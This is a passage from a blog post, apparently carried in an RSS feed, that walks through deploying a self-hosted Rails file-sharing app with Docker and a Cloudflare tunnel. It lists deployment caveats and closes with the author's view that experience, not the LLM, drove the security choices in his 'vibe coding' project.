</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">unless-stopped</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The <code>cloudflare/cloudflared</code> sidecar creates an outbound tunnel to Cloudflare&rsquo;s edge. No need to open ports on your home server&rsquo;s firewall. Cloudflare handles SSL termination, DDoS protection, and routes traffic to the container.</p>
<h3>Step by Step<span class="hx:absolute hx:-mt-20" id="step-by-step"></span>
    <a href="#step-by-step" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><strong>1. Create the Tunnel on Cloudflare:</strong></p>
<ul>
<li>Cloudflare Zero Trust Dashboard &gt; Networks &gt; Tunnels &gt; Create</li>
<li>Type: Cloudflared</li>
<li>Copy the <code>TUNNEL_TOKEN</code></li>
<li>Configure the hostname: <code>frankmega.yourdomain.com</code> pointing to <code>http://web:80</code></li>
</ul>
<p><strong>2. Generate the secrets:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># SECRET_KEY_BASE</span>
</span></span><span class="line"><span class="cl">openssl rand -hex <span class="m">64</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Encryption keys (3 separate values)</span>
</span></span><span class="line"><span class="cl">openssl rand -hex <span class="m">32</span>  <span class="c1"># PRIMARY_KEY</span>
</span></span><span class="line"><span class="cl">openssl rand -hex <span class="m">32</span>  <span class="c1"># DETERMINISTIC_KEY</span>
</span></span><span class="line"><span class="cl">openssl rand -hex <span class="m">32</span>  <span class="c1"># KEY_DERIVATION_SALT</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>3. Configure <code>.env</code>:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-env" data-lang="env"><span class="line"><span class="cl"><span class="nv">SECRET_KEY_BASE</span><span class="o">=</span>&lt;generated above&gt;
</span></span><span class="line"><span class="cl"><span class="nv">RAILS_MASTER_KEY</span><span class="o">=</span>&lt;from config/master.key&gt;
</span></span><span class="line"><span class="cl"><span class="nv">HOST</span><span class="o">=</span>frankmega.seudominio.com
</span></span><span class="line"><span class="cl"><span class="nv">WEBAUTHN_ORIGIN</span><span class="o">=</span>https://frankmega.seudominio.com
</span></span><span class="line"><span class="cl"><span class="nv">WEBAUTHN_RP_ID</span><span class="o">=</span>frankmega.seudominio.com
</span></span><span class="line"><span class="cl"><span class="nv">ACTIVE_RECORD_ENCRYPTION_PRIMARY_KEY</span><span class="o">=</span>&lt;generated&gt;
</span></span><span class="line"><span class="cl"><span class="nv">ACTIVE_RECORD_ENCRYPTION_DETERMINISTIC_KEY</span><span class="o">=</span>&lt;generated&gt;
</span></span><span class="line"><span class="cl"><span class="nv">ACTIVE_RECORD_ENCRYPTION_KEY_DERIVATION_SALT</span><span class="o">=</span>&lt;generated&gt;
</span></span><span class="line"><span class="cl"><span class="nv">TUNNEL_TOKEN</span><span class="o">=</span>&lt;from Cloudflare&gt;
</span></span><span class="line"><span class="cl"><span class="nv">FORCE_SSL</span><span class="o">=</span><span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="nv">APP_LOCALE</span><span class="o">=</span>pt-BR</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>4. Bring it up:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker compose pull
</span></span><span class="line"><span class="cl">docker compose up -d</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>5. Visit</strong> <code>https://frankmega.yourdomain.com</code>, create the admin account, start using it.</p>
<h3>Important Caveats<span class="hx:absolute hx:-mt-20" id="important-caveats"></span>
    <a href="#important-caveats" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><ul>
<li><code>FORCE_SSL=false</code> to test locally at <code>http://localhost:3100</code> without Cloudflare in front, otherwise you hit a redirect loop</li>
<li>The WebAuthn origin has to match exactly, including <code>https://</code>. If you get it wrong, passkeys silently stop working</li>
<li>Cloudflare IPs are hardcoded in the initializer (because the <code>cloudflare-rails</code> gem isn&rsquo;t compatible with Rails 8.1). If Cloudflare changes the ranges, you need to rebuild the image</li>
<li>Encryption keys are permanent. If you swap them after users configure 2FA, the OTP secrets become unreadable and users lose access</li>
<li>Cloudflare free has a 100 MB upload limit. On the free plan, files above that don&rsquo;t make it through the tunnel. The app allows up to 1 GB but Cloudflare is the bottleneck</li>
<li>The container runs as UID 1000. If you use bind mounts instead of named volumes, the directory has to be owned by UID 1000</li>
<li>There are 4 separate SQLite databases in production (app, cache, queue, cable), all in the <code>db_data</code> volume. Backup means copying the entire volume</li>
</ul>
<h2>The Real Point About &ldquo;Vibe Coding&rdquo;<span class="hx:absolute hx:-mt-20" id="the-real-point-about-vibe-coding"></span>
    <a href="#the-real-point-about-vibe-coding" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Claude Code is absurdly productive. I wouldn&rsquo;t have done all of this in 3 hours without it. Remember when you&rsquo;d bang your head against the wall for a week just to get login working? Yeah.</p>
<p>The I18n commit alone (66 files, ~250 strings extracted for two languages) would take a full day by hand.</p>
<p>But here&rsquo;s the point nobody wants to hear: <strong>the LLM did not make the security decisions</strong>. I asked it to run an audit and it found the problems, but I had to know how to ask. And I had to know which questions to ask. <em>&ldquo;Review security&rdquo;</em> is a vague instruction. <em>&ldquo;Check if there&rsquo;s a race condition on the download counter increment&rdquo;</em> is an instruction only someone who knows what TOCTOU is can give.</p>
<p>Those 56 lines of IDEA.md carry decades of web development experience. I knew to ask for rate limiting because I&rsquo;ve seen services taken down by bots. I knew to ask for IP banning because I&rsquo;ve dealt with abuse. I knew to ask for an atomic download counter because I understand concurrency.</p>
<p>If a beginner wrote the same IDEA.md, they probably wouldn&rsquo;t have half of those concerns. And the LLM wouldn&rsquo;t spontaneously suggest them. The result would be a service that&rsquo;s functional, pretty, and completely insecure.</p>
<p>The experienced programmer&rsquo;s value in Vibe Coding isn&rsquo;t writing code. It&rsquo;s knowing what to ask for and reviewing what was generated. Experience is the filter between &ldquo;works&rdquo; and &ldquo;works in production&rdquo;.</p>
<p>Those 210 tests and 24 security measures didn&rsquo;t come from prompt engineering. They came from knowing what to test and why.</p>
<p>The code is open source under AGPL-3.0: <a href="https://github.com/akitaonrails/frankmega"target="_blank" rel="noopener">github.com/akitaonrails/frank_mega</a>. Deploy it on your server, poke around the code, learn from the commits. And if you find more security flaws, let me know.</p>
<p>Remember:</p>
<blockquote>
  <p>AI is the mirror of your own competence.</p>

</blockquote>
]]></content:encoded><category>vibe-coding</category><category>rails</category><category>homelab</category><category>security</category></item></channel></rss>